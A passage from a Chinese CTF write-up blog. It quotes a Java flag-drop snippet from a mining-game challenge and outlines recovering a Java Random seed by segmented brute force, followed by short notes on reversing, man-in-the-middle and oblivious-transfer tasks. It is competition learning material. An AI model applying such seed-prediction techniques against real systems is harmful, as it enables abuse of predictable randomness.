if (location.getMaterial ().harderThan (material)) { // 这个分支必须是 false this.waitFor (LONG_DURATION); result.put ("dropped", Material.AIR.name ()).put ("flag", ""); } else { this.waitFor (SHORT_DURATION); result.put ("dropped", location.getMaterial ().name ()); result.put ("flag", location.getMaterial ().flagOf (this.currentUser)); // 唯一出 flag 的位置 }
if (location.getMaterial().harderThan(material)) { // 这个分支必须是false
    this.waitFor(LONG_DURATION);
    result.put("dropped", Material.AIR.name()).put("flag", "");
} else {
    this.waitFor(SHORT_DURATION);
    result.put("dropped", location.getMaterial().name());
    result.put("flag", location.getMaterial().flagOf(this.currentUser));  // 唯一出flag的位置
}

查看 Game::reset,其中有三位无法预测 BASE_SEED_RNG.nextInt() & 7。因此每次需要同时发送 8 个请求检查。所以一切的问题就回到如何通过地图爆出 Game::baseSeed 了,Java 的 Random 是一个 LCG,但是咱不太会爆…… 实际上能爆出大于低 3 位就能通过移位的方法逐渐爆破了。如果能找到另一个 Flag 块倒是可以做,但是我个人觉得不太现实,因为范围太大了,而每次 state 只能得到 32*32。

[题解后] 原来是先通过黑曜石爆破后 20 位,之后爆破前 28 位。这里利用的是黑曜石的数字特征,没想到能分段爆破。一直以为可用位太少不可能爆破出结果来着。以及非预期解我竟然没想到 AIR 也是可以挖的,好气啊……

×Flag 计算机

DOS 逆向,但是咱没有调试环境啊(泪目)。似乎是一个 PRNG,cutter 给了 F5,但是结果不太能看,16 位程序咱也不熟悉。

[题解后] 看了题解发现和猜想的算法类似,但是过程好麻烦,确实不太想做……

× 中间人

完全不会。

[题解后] 看了题解发现也确实不会。

不经意传输

解密消息

题目要求能求出一个数字,所以直接令 v 为 x0 就可以。

× 攻破算法

盲猜论文复现,但是论文比 CVE 还长,不想看……

[题解后] 是我输了,原来是通过分布不均这一点做的……

后记

感谢 JLU@NSA 的各位 dalao 们对撰写这篇 Blog 的帮助。

分享到

KAAAsS

喜欢二次元的程序员,喜欢发发教程,或者偶尔开坑。(←然而并不打算填)

相关日志

  1. 没有图片
  2. 没有图片
  3. 没有图片
  4. 没有图片
  5. 没有图片

评论

  1. SAGIRI 2020.11.07 4:07 下午

    tqltql

  2. YenKoc 2020.11.26 5:49 下午

    大佬太强了,看了大佬的一些博客,感觉自学能力真的非常厉害,大佬有联系方式吗,想认识一下

    • KAAAsS 2020.11.26 5:58 下午

      邮箱 admin@kaaass.net 欢迎联系~
      IM 可以联系 TG @KAAAsS。

在此评论中不能使用 HTML 标签。